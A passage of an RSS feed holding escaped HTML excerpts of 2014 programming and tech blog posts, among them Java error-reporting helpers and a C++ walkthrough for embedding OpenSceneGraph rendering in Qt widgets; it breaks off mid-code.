&lt;p&gt;Marketing doesn&amp;rsquo;t have to be throwing your product and messaging in someones face, but you should make your users aware of it. The more engaged they are they more they&amp;rsquo;ll stick around and be happy about using you&amp;rsquo;re product, assuming you&amp;rsquo;ve built a good one. What are some of your favorite tips?&lt;/p&gt;</description><author>CRAIG KERSTIENS</author><pubDate>Mon, 31 Mar 2014 23:55:56 GMT</pubDate><guid isPermaLink="true">/2014/03/31/Some-non-traditional-marketing-tips/</guid></item><item><title>What is Domain Driven Design?</title><link>https://daniellittle.dev/domain-driven-design</link><description>In 2004, Erick Evans coined the term Domain Driven Design in his book also called Domain Driven Design. Since then there has been lots of…</description><author>Daniel Little Dev</author><pubDate>Mon, 31 Mar 2014 11:57:51 GMT</pubDate><guid isPermaLink="true">https://daniellittle.dev/domain-driven-design</guid></item><item><title>A Bit of F.U. Validation</title><link>https://zacs.site/blog/always-on-vacation-in-california.html</link><description>&lt;p&gt;In episode fifty-eight of the Accidental Tech Podcast, Marco, John, and Casey did some follow-up on their previous episode in which they discussed&amp;#160;&amp;#8212;&amp;#160;among other topics&amp;#160;&amp;#8212;&amp;#160;sexism. In response to the previous week&amp;#8217;s show, &lt;a href="http://atp.fm/episodes/57-smorgasbord-of-pronunciation"&gt;ATP 57: &lt;em&gt;Smorgasbord Of Pronunciation&lt;/em&gt;&lt;/a&gt;, I wrote the gruesomely-titled &lt;a href="https://zacs.site/blog/hedge-yourself.html"&gt;&lt;em&gt;Hedge Yourself Before They Wreck Yourself&lt;/em&gt;&lt;/a&gt;&amp;#160;&amp;#8212;&amp;#160;a poorly-executed play on the &amp;#8220;check yourself before you wreck yourself&amp;#8221; clich&amp;#233;&amp;#160;&amp;#8212;&amp;#160;wherein I talked about my dislike of the culture surrounding social causes. Although I tried to publish that piece before the trio recorded ATP fifty-eight, I missed it by a day and posted my article late. After finally putting it out for all to see though, I went and listened to episode &lt;a href="http://atp.fm/episodes/58-always-on-vacation-in-california"&gt;58: &lt;em&gt;Always on Vacation in California&lt;/em&gt;&lt;/a&gt;. To my surprise, within the first few minutes Marco validated everything I had opined against in my unfortunately-titled piece. For the unindoctrinated, here&amp;#8217;s a transcript of the pertinent parts:&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/always-on-vacation-in-california.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Mon, 31 Mar 2014 11:40:03 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/always-on-vacation-in-california.html</guid></item><item><title>This Week in Podcasts</title><link>https://zacs.site/blog/this-week-in-podcasts-32314.html</link><description>&lt;p&gt;Given my first link, I feel the need to state this explicitly &lt;a href="https://zacs.site/blog/this-week-in-podcasts-31614.html"&gt;just once more&lt;/a&gt;: although I call this series &amp;#8220;This Week in Podcasts&amp;#8221;, it may be helpful to think of it as a curated list of the best podcasts I listened to within the last week rather than a similar list consisting of only those &lt;em&gt;released&lt;/em&gt; within the last seven days. After I published the first, I expanded my scope in this way so that I could include episodes from since-retired shows, or early episodes from now well-established podcasts. In doing so, I sought to truly provide you with a collection of the best shows possible, rather than a certain subset of those. Now, with that out of the way, let&amp;#8217;s delve in to another week&amp;#8217;s worth of excellent shows.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/this-week-in-podcasts-32314.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Mon, 31 Mar 2014 11:25:50 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/this-week-in-podcasts-32314.html</guid></item><item><title>Player model and animations</title><link>https://etodd.io/2014/03/31/player-model-and-animations/</link><description>&lt;p&gt;&lt;a href="https://www.kickstarter.com/projects/et1337/lemma-first-person-parkour/posts/794530"&gt;An update from the Kickstarter:&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;One concern that pops up a lot on &lt;a href="http://steamcommunity.com/sharedfiles/filedetails/?id=239551444" target="_blank"&gt;Greenlight&lt;/a&gt; is the low quality of the player model and animations in Lemma. The reason it's so bad is that I did all of it myself, and I'm not a character artist. People ask, "but couldn't you just try harder? What's so hard about modeling and animating a character anyway? Also, couldn't you just borrow an existing public domain model?"&lt;/p&gt;</description><author>Evan Todd</author><pubDate>Mon, 31 Mar 2014 03:42:33 GMT</pubDate><guid isPermaLink="true">https://etodd.io/2014/03/31/player-model-and-animations/</guid></item><item><title>Details in Java Code: Error Reporting and Loop Control Variables</title><link>https://mschaef.com/ksm/java_error_reporting</link><description>&lt;p&gt;Sometimes, it’s easy to focus so much on the architecture of a system that the details of its implementation get lost. While it’s true that inattention to architectural concerns can cause a system to fail, it’s also true that poor attention to the details can undermine even the best overall system design. This post covers a few minor details of code structure that I’ve found to be useful in my work:&lt;/p&gt;&lt;p&gt;It’s a small thing, but one of my favorite utility methods is a short way to throw run-time exceptions.&lt;/p&gt;&lt;div class="codeblock"&gt;&lt;code class="java"&gt;&lt;pre&gt;&lt;span class="hljs-keyword"&gt;public&lt;/span&gt; &lt;span class="hljs-keyword"&gt;static&lt;/span&gt; &lt;span class="hljs-keyword"&gt;void&lt;/span&gt; &lt;span class="hljs-title function_"&gt;FAIL&lt;/span&gt;&lt;span class="hljs-params"&gt;(String message)&lt;/span&gt;
{
    &lt;span class="hljs-keyword"&gt;throw&lt;/span&gt; &lt;span class="hljs-keyword"&gt;new&lt;/span&gt; &lt;span class="hljs-title class_"&gt;RuntimeException&lt;/span&gt;(message);
}
&lt;/pre&gt;&lt;/code&gt;&lt;/div&gt;&lt;p&gt;Defining this method accomplishes a few useful goals. The first is that (with an import static) it makes it possible to throw a RuntimeException with 22 fewer characters of source text per call site. If you’re writing usefully descriptive error messages (which you should be), this can significantly improve the readability of the code. The text &lt;code&gt;FAIL&lt;/code&gt; tends to stand out in source code listings, and bringing the error message closer to the left margin of the source text makes it more obvious. The symbol FAIL is also easy to identify with tools like grep, ack, and M-x occur.&lt;/p&gt;&lt;p&gt;To handle re-throw scenarios, it's also useful to have another definition that lets you specify a cause for the failure.&lt;/p&gt;&lt;div class="codeblock"&gt;&lt;code class="java"&gt;&lt;pre&gt;&lt;span class="hljs-keyword"&gt;public&lt;/span&gt; &lt;span class="hljs-keyword"&gt;static&lt;/span&gt; &lt;span class="hljs-keyword"&gt;void&lt;/span&gt; &lt;span class="hljs-title function_"&gt;FAIL&lt;/span&gt;&lt;span class="hljs-params"&gt;(String message, Throwable cause)&lt;/span&gt;
{
    &lt;span class="hljs-keyword"&gt;throw&lt;/span&gt; &lt;span class="hljs-keyword"&gt;new&lt;/span&gt; &lt;span class="hljs-title class_"&gt;RuntimeException&lt;/span&gt;(message, cause);
}
&lt;/pre&gt;&lt;/code&gt;&lt;/div&gt;&lt;p&gt;Related to this is a useful naming convention for loop control variables. Thanks in large part to FORTRAN, and its mathematical heritage, it's very common to use the names i, j, and k for loop control variables. These names aren't very descriptive, but they're short and for small loop bodies, there's usually enough context that a longer name would be superfluous. (If your loop spans pages of text, you should use a more descriptive variable name... but first, you should try to break up your loop into sensible, testable functions.) One technique I've found useful for making loop control variables more obvious (and searchable) without going to fully descriptive variable names is to double up the letters, giving &lt;code&gt;ii&lt;/code&gt;, &lt;code&gt;jj&lt;/code&gt;, and &lt;code&gt;kk&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;These are both small changes, but they both can improve the readability of the code. Try them out and see if you like them. If you disagree that they are improvements, it's easy to switch back.&lt;/p&gt;</description><author>Mike Schaeffer</author><pubDate>Mon, 31 Mar 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://mschaef.com/ksm/java_error_reporting</guid></item><item><title>Running Alertmachine under Docker</title><link>https://smetj.net/running_alertmachine_under_docker.html</link><description>&lt;p&gt;In a &lt;a class="reference external" href="http://smetj.net/an-aleternative-way-of-handling-nagios-and-naemon-alerts.html"&gt;previous article&lt;/a&gt; I wrote about managing Naemon and Nagios alerts with
&lt;strong&gt;Alertmachine&lt;/strong&gt;.  In this article I will cover how you can run a fully
operational &lt;em&gt;Alertmachine&lt;/em&gt; container in a matter of minutes using Docker. &lt;a class="footnote-reference" href="#footnote-1" id="footnote-reference-1"&gt;[1]&lt;/a&gt;&lt;/p&gt;
&lt;div class="section" id="docker"&gt;
&lt;h2&gt;Docker&lt;/h2&gt;
&lt;p&gt;&lt;a class="reference external" href="https://www.docker.io/"&gt;Docker&lt;/a&gt; is an open source project to pack, ship and run any …&lt;/p&gt;&lt;/div&gt;</description><author>Jelle Smet</author><pubDate>Sun, 30 Mar 2014 22:00:00 GMT</pubDate><guid isPermaLink="true">https://smetj.net/running_alertmachine_under_docker.html</guid></item><item><title>Find All Issues Referenced in Commit Messages</title><link>https://joshuarogers.net/articles/2014-03/find-all-issues-referenced-commit-messages/</link><description>Software is constantly changing. Bugs are fixed, features are added, performance is increased, and finally binaries are built. With this constant cycle of change come people wanting to know exactly what the changes are. Between major versions, and minor versions, we normally have release notes to give us this information. However, between release builds the list of items is in constant flux with no let up in the people wanting to know what the changes are.</description><author>Joshua Rogers</author><pubDate>Sun, 30 Mar 2014 15:00:00 GMT</pubDate><guid isPermaLink="true">https://joshuarogers.net/articles/2014-03/find-all-issues-referenced-commit-messages/</guid></item><item><title>Making Qt and OpenSceneGraph play nice</title><link>https://bastian.rieck.me/blog/2014/qt_and_openscenegraph/</link><description>&lt;p&gt;We have been using the powerful &lt;a href="http://trac.openscenegraph.org/projects/osg"&gt;OpeneSceneGraph graphics
toolkit&lt;/a&gt; for our internal software. The software
initially started out with a GUI based on &lt;a href="http://www.gtk.org"&gt;GTK&lt;/a&gt;, but in the middle of 2012, we
decided to rewrite it, using &lt;a href="http://qt-project.org"&gt;Qt&lt;/a&gt;. Our rewrite was mostly prompted my
portability concerns and code constraints, which required an almost complete overhaul of the
architecture.&lt;/p&gt;
&lt;p&gt;During the rewrite, I thought hard about different ways of combining Qt and OpenSceneGraph. Our
application should have the possibility to render &lt;em&gt;different&lt;/em&gt; scenes in different Qt widgets. This
turned out to be harder than expected.&lt;/p&gt;
&lt;h1 id="the-initial-attempt"&gt;The initial attempt&lt;/h1&gt;
&lt;p&gt;Being a very impressionable fool, I initially looked at the examples that shipped with OSG. Their
main examples all contained a &lt;code&gt;QTimer&lt;/code&gt; class for managing updates. As I recall, the code was very
similar to this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-cpp"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;timer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;SIGNAL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="p"&gt;()),&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;SLOT&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;timer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;start&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Looking back now, I see the glaringly obvious performance issue. Multiple timers force &lt;em&gt;each&lt;/em&gt; widget
to redraw multiple times per second, making any interaction with the GUI all but useless. Obviously,
this was &lt;em&gt;not&lt;/em&gt; the way to go.&lt;/p&gt;
&lt;h1 id="getting-funky-with-threads"&gt;Getting funky with threads&lt;/h1&gt;
&lt;p&gt;The next idea involved dreaded threads. I figured that by setting up &lt;em&gt;each&lt;/em&gt; widget in its own render
thread, GUI interactions still could work. This was not completely wrong, but more than 5 windows
still made for unbearably large processing times. Reading OSG&amp;rsquo;s source code again proved fruitful,
and I found out about on-demand rendering. By simply creating all viewers slightly differently, the
threads suddenly worked better and took less processing time:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-cpp"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;osgViewer&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;CompositeViewer&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;viewer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;osgViewer&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;CompositeViewer&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;viewer&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;setRunFrameScheme&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;osgViewer&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;ViewerBase&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;ON_DEMAND&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;At the surface, this solution seemed to perfectly. Things got strange, though, when we attempted to
modify &lt;em&gt;existing&lt;/em&gt; scene graphs. So I implemented a special update callback that enqueued nodes on
each call. This helped and everything was fine again. Except for random crashes. And problems with
some graphics cards. And some more random crashes.&lt;/p&gt;
&lt;p&gt;I now know that the crashes we were getting are caused by us attempting to perform multi-threaded
OpenGL rendering without attempting to perform a proper switching of graphics contexts. While Qt
&lt;a href="https://blog.qt.digia.com/blog/2011/06/03/threaded-opengl-in-4-8"&gt;appears to have given some thought to this matter in more recent
versions&lt;/a&gt;, OpenSceneGraph
apparently did not. At least, the &lt;code&gt;osgQt&lt;/code&gt; module that we used to connect both frameworks is not
suitable for our particular requirements.&lt;/p&gt;
&lt;h1 id="getting-smarter"&gt;Getting smarter&lt;/h1&gt;
&lt;p&gt;A different solution had to be found. I took multiple steps back and thought about providing the
&amp;ldquo;glue&amp;rdquo; between OpenSceneGraph and Qt on my own. Armed with the knowledge of my two previous
failures, this was surprisingly easy.&lt;/p&gt;
&lt;p&gt;At the core, I decided I wanted to use a
&lt;a href="http://qt-project.org/doc/qt-4.8/qglwidget.html"&gt;&lt;code&gt;QGLWidget&lt;/code&gt;&lt;/a&gt; for encapsulating the rendering
stuff. Since I required the widget &lt;em&gt;only&lt;/em&gt; to render on demand, I did not require any threaded redraw
functionalities. Instead, I relied on the builtin event system by Qt.&lt;/p&gt;
&lt;p&gt;I thus created a new widget that inherited from &lt;code&gt;QGLWidget&lt;/code&gt;. The widget was to contain an instance
of an &lt;code&gt;osgViewer::GraphicsWindowEmbedded&lt;/code&gt;. Said graphics window provided its own graphics context
which I could attach to any number of cameras. The cameras, in turn, could then be attached to some
&lt;code&gt;osgViewer::CompositeViewer&lt;/code&gt; instance. The constructor of the widget looked something like this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-cpp"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;OSGWidget&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;OSGWidget&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;QWidget&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;parent&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;                      &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="n"&gt;QGLWidget&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;shareWidget&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;                      &lt;span class="n"&gt;Qt&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;WindowFlags&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;QGLWidget&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;parent&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;               &lt;span class="n"&gt;shareWidget&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;               &lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="p"&gt;),&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="n"&gt;graphicsWindow_&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;osgViewer&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;GraphicsWindowEmbedded&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;                                                            &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;width&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;height&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;),&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="n"&gt;viewer_&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;osgViewer&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;CompositeViewer&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;osg&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Camera&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;camera&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;osg&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Camera&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;camera&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;setViewport&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;width&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;height&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;camera&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;setClearColor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;osg&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Vec4&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="mf"&gt;0.f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;0.f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;1.f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;1.f&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;camera&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;setGraphicsContext&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;graphicsWindow_&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;osgViewer&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;View&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;view&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;osgViewer&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;View&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;view&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;setCamera&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;camera&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;view&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;setSceneData&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;viewer_&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;addView&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;view&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;viewer_&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;addView&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;sideView&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;viewer_&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;setThreadingModel&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;osgViewer&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;CompositeViewer&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;SingleThreaded&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;setFocusPolicy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Qt&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;StrongFocus&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;setMinimumSize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The call to &lt;code&gt;setFocusPolicy&lt;/code&gt; is required because I want the widget to receive &lt;em&gt;all&lt;/em&gt; keyboard events,
regardless of whether the widget has received focus by clicking into it, so that I can forward them
to the graphics window:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-cpp"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;OSGWidget&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;keyReleaseEvent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;QKeyEvent&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;event&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;QString&lt;/span&gt; &lt;span class="n"&gt;keyString&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;event&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;keyData&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;keyString&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;toAscii&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
